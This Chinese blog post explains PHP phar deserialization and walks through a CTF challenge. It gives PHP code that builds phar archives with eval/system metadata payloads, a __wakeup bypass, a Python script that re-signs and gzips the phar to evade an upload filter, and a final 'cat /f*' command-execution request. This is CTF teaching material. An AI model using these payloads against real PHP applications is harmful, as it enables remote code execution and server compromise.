php反序列化漏洞——phar反序列化漏洞

一.什么是phar文件

类比java语言

JAR是开发Java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里使得部署过程十分简单。

PHAR("Php ARchive")是PHP里类似于JAR的一种打包文件

对于PHP 5.3 或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。

文件包含:phar伪协议,可读取 .phar文件。

二.phar文件结构

phar文件分为四个部分:

stub phar 文件标识,格式为 xxx<?php xxx;HALT COMPiLER();?>;(头部信息)

manifest 压缩文件的属性等信息,以序列化存储;

contents 压缩文件的内容;

signature 签名,放在文件末尾;

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

三.用php语言生成一个phar文件

<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上

class Testobj // 定义一个名为 Testobj 的类
{
    var $output=''; // 声明一个属性 $output,初始值为空字符串
}

@unlink('test.phar');   // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar=new Phar('test.phar');  // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering();  // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o=new Testobj(); // 创建了一个 Testobj 类的实例
$o->output='eval($_GET["a"]);'; // 将字符串 'eval($_GET["a"]);' 赋值给 $o 对象的 $output 属性
$phar->setMetadata($o);// 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt","test");  // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件
?>

四.漏洞生成原因

manifest 压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;

调用phar伪协议,可读取 .phar文件,Phar协议解析文件时,会自动触发对manifest字段的序列化;

字符串进行反序列化Phar需要 PHP >= 5.2 在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

phar产生条件

1.phar文件能上传到服务器端
2.要有可用反序列化魔术方法作为跳板
3.要有文件操作函数,如file exists(),fopen(),file_get_contents()
4.文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤

例题

[NSSRound#4 SWPU]1zweb

查询文件 输入文件名 可得源码

index.php

<?php
class LoveNss
{
  public $ljt;
  public $dky;
  public $cmd;
  public function __construct()
  {
    $this->ljt = "ljt";
    $this->dky = "dky";
    phpinfo();
  }
  public function __destruct()
  {
    if ($this->ljt === "Misc" && $this->dky === "Re")
      eval($this->cmd);
  }
  public function __wakeup()
  {
    $this->ljt = "Re";
    $this->dky = "Misc";
  }
}
$file = $_POST['file'];
if (isset($_POST['file'])) {
  if (preg_match("/flag/", $file)) {
    die("nonono");
  }
  echo file_get_contents($file);
}

upload.php

<?php
if ($_FILES["file"]["error"] > 0) {
  echo "上传异常";
} else {
  $allowedExts = array("gif", "jpeg", "jpg", "png");
  $temp = explode(".", $_FILES["file"]["name"]);
  $extension = end($temp);
  if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))) {
    $content = file_get_contents($_FILES["file"]["tmp_name"]);
    $pos = strpos($content, "__HALT_COMPILER();");
    if (gettype($pos) === "integer") {
      echo "ltj一眼就发现了phar";
    } else {
      if (file_exists("./upload/" . $_FILES["file"]["name"])) {
        echo $_FILES["file"]["name"] . " 文件已经存在";
      } else {
        $myfile = fopen("./upload/" . $_FILES["file"]["name"], "w");
        fwrite($myfile, $content);
        fclose($myfile);
        echo "上传成功 ./upload/" . $_FILES["file"]["name"];
      }
    }
  } else {
    echo "dky不喜欢这个文件 ." . $extension;
  }
}

upload限制了phar文件的上传。同时设置了白名单,只允许png,jpg,gif文件上传.

绕过phar限制
php识别phar文件是通过其文件头的stub,更确切一点来说是识别__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的,可以直接修改为其他后缀。

只要将phar文件使用 gzip 命令进行压缩,这段代码就会消失。

phar由data,data签名(20位),和签名格式(8位)组成。

生成phar文件,同时放入010增加属性数量来绕过weak_up

poc

<?php

class LoveNss
{
  public $ljt;
  public $dky;
  public $cmd;

  public function __construct()
  {
    $this->ljt = "Misc";
    $this->dky = "Re";
    $this->cmd = 'system($_POST[0]);';
  }
}

$o = new LoveNss();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss();
$phar->setMetadata($o); //将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
#本题要将生成得phar文件放入010修改属性数量来绕过weak_up
#php.ini中phar.readonly改成Off

修改后标签修复

默认用sha1方式修复

为了绕过这里文件头

用gzip方式压缩文件

from hashlib import sha1
import gzip

with open('phar.png', 'rb') as file:
    f = file.read()
s = f[:-28]  # 获取要签名的数据
h = f[-8:]  # 获取签名类型以及GBMB标识1
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("2.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

上传成功后

用phar伪协议访问

phar://./upload/2.png/phar.png&0=cat /f*

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/526085.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【UE 网络】DS框架学习路线

目录 0 引言1 如何学习DS框架1. 熟悉Unreal Engine基础2. 学习网络编程基础3. 掌握UE网络概念4. 实践和实验5. 加入社区和论坛6. 官方示例和案例研究7. 专业书籍和在线课程 2 DS框架重要知识点有哪些1. 网络复制2. 远程过程调用&#xff08;RPC&#xff09;3. 客户端服务器架构…

0点起C语言

用sizeof()来查看在你的平台上到底占用多少你多少字节的内存。 Int x sizeof(int); Int xsizeof(shrt int); Int xsizeof(long); Int xsizeof(long double); 等等。 http://www.enet.com.cn/article/2012/0822/A20120822153730_2.shtml #—是个预处理的标志&#xff0c;表示对文…

如何本地搭建Discuz论坛并实现无公网IP远程访问

文章目录 前言1.安装基础环境2.一键部署Discuz3.安装cpolar工具4.配置域名访问Discuz5.固定域名公网地址6.配置Discuz论坛 前言 Crossday Discuz! Board&#xff08;以下简称 Discuz!&#xff09;是一套通用的社区论坛软件系统&#xff0c;用户可以在不需要任何编程的基础上&a…

自动化测试的6大适用场景

不能代替手工测试&#xff0c;因为自动化测试有适用场景&#xff1a;自动化测试的6大适用场景 自动化测试可以在短时间内执行大量的测试任务&#xff0c;缩短了测试时间和人工成本&#xff1b;而自动化测试脚本可以重复执行&#xff0c;提高了测试效率&#xff1b;而通过自动化…

【C++】流程控制语句:跳转语句之Break

在C编程语言中&#xff0c;流程控制不仅包括循环和条件分支&#xff0c;还包括一类特别重要的语句——跳转语句。 这类语句允许程序在执行过程中“打破”常规流程&#xff0c;转而执行其他位置的代码。 C提供了四种跳转语句&#xff1a;break、continue、goto 以及 return。…

充电桩项目,开源啦!

好&#xff0c;我是田哥 很多人&#xff0c;最近都在关注我的充电桩项目&#xff0c;之前建了一个微服务架构的项目&#xff0c;也有单体项目的代码开源。 今天&#xff0c;我把最新版微服务架构的充电桩项目源代码开源。 充电桩的输入端与交流电网直接连接&#xff0c;输出端都…

【线段树】【前缀和】:1687从仓库到码头运输箱子

本题简单解法 C前缀和算法的应用&#xff1a;1687从仓库到码头运输箱子 本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 线段树 LeetCode1687从仓库到码头运输箱子 你有一辆货运卡车&#xff0c;你需要用这一辆车…

【Vue】响应式原理与ref

首先讲讲JS中的Proxy JavaScript 运行环境包含了一些不可枚举、不可写入的对象属性&#xff0c;然而在 ES5 之前开发者无法定义他们自己的不可枚举属性或不可写入属性。ES5 引入 Object.defineProperty() 方法以便开发者在这方面能够像 JS 引擎那样做。 ES6 为了让开发者能进…

阿里云服务器可以干嘛?阿里云服务器八大用途介绍

阿里云服务器可以干嘛&#xff1f;能干啥你还不知道么&#xff01;简单来讲可用来搭建网站、个人博客、企业官网、论坛、电子商务、AI、LLM大语言模型、测试环境等&#xff0c;阿里云百科aliyunbaike.com整理阿里云服务器的用途&#xff1a; 阿里云服务器活动 aliyunbaike.com…

springboot实现上传文件接口(简单版)

使用springboot实现一个最简单版本的上传文件接口 private String uploadPath "C:/imageFiles";RequestMapping(value "/upload", method RequestMethod.POST)private Result upload( RequestParam("modelName") String modelName,RequestPar…

前端实现拖拽div修改宽度,用于菜单栏等多处场景

1、演示 2、 比较简单&#xff0c;直接上源码&#xff08;内部有注释&#xff09; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-…

鸿蒙内核源码分析 (并发并行篇) | 内核如何管理多个 CPU?

理解并发概念 并发&#xff08;Concurrent&#xff09;: 多个线程在单个核心运行&#xff0c;同一时间只能一个线程运行&#xff0c;内核不停切换线程&#xff0c;看起来像同时运行&#xff0c;实际上是线程被高速的切换. 通俗好理解的比喻就是高速单行道&#xff0c;单行道指…

【canvas】canvas的基础使用(一):创建canvas

canvas Canvas API 提供了一个通过JavaScript 和 HTML的<canvas>元素来绘制图形的方式。它可以用于动画、游戏画面、数据可视化、图片编辑以及实时视频处理等方面。 Canvas API 主要聚焦于 2D 图形。 canvas元素 <canvas> 元素可被用来通过 JavaScript&#xff…

【Figma】安装指南及基础操作

先前做UI设计一直都是用PS等绘图软件设计&#xff0c;但发现在纠结像素和排版问题上会花很多时间&#xff0c;再加上AI没来得及上手&#xff0c;就需要迅速出成图&#xff0c;此时通过论坛发现了figma&#xff0c;基本上可以满足足够的需求&#xff0c;并且可以在windows系统上…

程序员如何搞副业

#程序员如何搞副业&#xff1f;# 在快速发展的IT行业中&#xff0c;程序员作为技术骨干&#xff0c;通常拥有扎实的编程能力和丰富的项目经验。然而&#xff0c;随着职业生涯的深入&#xff0c;许多程序员开始思考如何进一步提升自我价值&#xff0c;实现更多的经济收益。副业成…

身份证实名认证接口的价格一般是多少呢?基于PHP身份核验接口

身份证实名认证接口分为身份证二要素、三要素、三要素人像核验接口&#xff0c;被广泛的应用于婚恋、交友、电商等等一系列行业领域&#xff0c;身份证实名认证需要实时数据&#xff0c;对于数据源来说也需要可靠&#xff0c;那么&#xff0c;身份证实名认证的价格是不是很贵呢…

Yolov8-pose关键点检测:特征融合 | CAMixing:卷积-注意融合模块和多尺度提取能力 | 2024年4月最新成果

💡💡💡本文独家改进:CAMixingBlock更好的提取全局上下文信息和局部特征,包括两个部分:卷积-注意融合模块和多尺度前馈网络; 💡💡💡如何跟YOLOv8结合:1)放在backbone后增强对全局和局部特征的提取能力;2)放在detect前面,增强detect提取能力; 提供多种改进方…

HarmonyOS实战开发-如何使用调用系统任务管理的能力。

介绍 本示例通过调用系统任务管理的能力&#xff0c;使用ohos.application.missionManager 、ohos.multimedia.image 等接口完成对系统任务执行锁定、解锁、清理、切换到前台等操作。 效果预览 使用说明 1.下拉“获取系统任务信息”&#xff0c;获取当前系统任务的包名、运行…

简单用Nodejs + express 编写接口

文章目录 get接口示范post接口示范注意点 准备工作可以看上一篇文章&#xff1a;文章链接》》 get接口示范 app.get(/, (req, res) > {res.send("Hello World"); })因为是get接口&#xff0c;所以可以直接在浏览器上请求&#xff08;端口地址接口名&#xff09;…

如何快速摸清一个行业?

作为一名职场人&#xff0c;或多或少都会遇到需要了解自己不熟悉的行业&#xff0c;比如&#xff1a; 职业选择&#xff0c;跳槽换工作时&#xff1a;哪家企业所在的行业有优势&#xff0c;未来会有更多的机会&#xff1f;哪个行业给的薪资会更高&#xff1f;行业内当下及未来的…